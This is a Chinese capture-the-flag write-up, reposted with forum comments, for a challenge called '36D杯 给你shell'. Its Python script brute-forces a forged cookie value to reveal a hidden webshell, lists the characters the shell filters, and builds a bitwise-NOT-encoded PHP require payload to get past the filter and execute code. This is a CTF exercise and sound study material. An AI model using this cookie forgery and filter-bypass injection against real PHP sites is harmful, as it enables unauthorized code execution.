36D杯 给你shell

admin 2022年1月5日23:15:55评论69 views字数 1549阅读5分9秒阅读模式

>

This site is best viewed in a modern browser with JavaScript enabled.

### id="flarum-content">

36D杯 给你shell

yuchoxuuan

其实我是没做出这个题来的,不知道为啥,比赛的时候一穷举就404,第一步都没过去,后来专门问了羽大,确认我的思路没问题,但还是不行,比赛结束了就没事了奇怪,
最后一步的pl实在想不出来其他的来,还是照抄的y1ng大佬
出这个wp只是为了云备份一下我的脚本而已。。。emmm。。。硬盘坏的阴影面积无穷大。大佬请无视这个wp

#声明:最后一步的pl是抄y1ng大佬的
#详细过程请移步[Y1ng大佬的博客](https://www.gem-love.com/ctf/2283.html#%E7%BB%99%E4%BD%A0shell)
ur='https://91096768-e73c-4d01-88a1-eaf12625fa36.chall.ctf.show/'
#step 1 找到webshell地址
def step1():
    def chk(pl=0):
        u=ur+'index.php?give_me_shell'
        cook={'secret':'{"secret":%03d}'%pl              }
        a=requests.post(u,cookies=cook).text
        if 'here is your webshell' in a :
            print(a[a.index('here is your webshell'):a.index('here is your webshell')+50])
            return True
        else :return False
    rightguess=0
    for i in range(0,999):
        print(i)
        if chk(i) :
            break
#step1()

#根据上一步运行情况填写 num,就是那个装出来的数字 还有 shell地址
num=115
shell='w3b5HeLLlll123.php'
def chkpl(pl=''):
    u=ur+'index.php?give_me_shell'
    us=ur+shell+'?code='+pl
    s=requests.session()
    cook = {'secret': '{"secret":%03d}' % num}
    s.post(u,cookies=cook)
    x=s.get(us).text
    if 'hacker' in x :
        print("Blocked!")
    else :  print(x)
'''
setp2 测试哪些东西被过滤了
测试结果显示被过滤的东西还是蛮多的 包括但不限于
() 空格 + * / ^  \\ 单双引号 $  反引号 |  system f? ;
可以用的有 大部分字母 数字 <>? & .  # % = - 
'''
def step2():
    while True:
        chkpl(input('PL: '))
#step2()
#step3 看着自己搞pl把 总体思想是,先闭合,再搞别的
#闭合是必须的!!!
#实在想不出其他的pl了,直接抄y1ng大佬的

fram=']=0?><?=requireFUCK?><?#'
def rev(pl=''):# 用于取反的一个小函数
    out='~'
    for i in pl:
        x = (~ord(i))&0xFF
        out+='%%%02x'%x

    return out
while True:
    chkpl(fram.replace('FUCK',rev(input('PL: '))))

36D杯 给你shell
flag居然放错地方了。。。。


Y1ng

yuchoxuuan 不是flag放错地方,是故意的


123456789

大佬,能解释下这是什么意思嘛:{'secret': '{"secret":%03d}' % num}


yuchoxuuan

123456789 伪造cookie。。。


yuchoxuuan

Y1ng 坏银


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:15:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   36D杯 给你shellhttp://cn-sec.com/archives/720175.html

发表评论

匿名网友 填写信息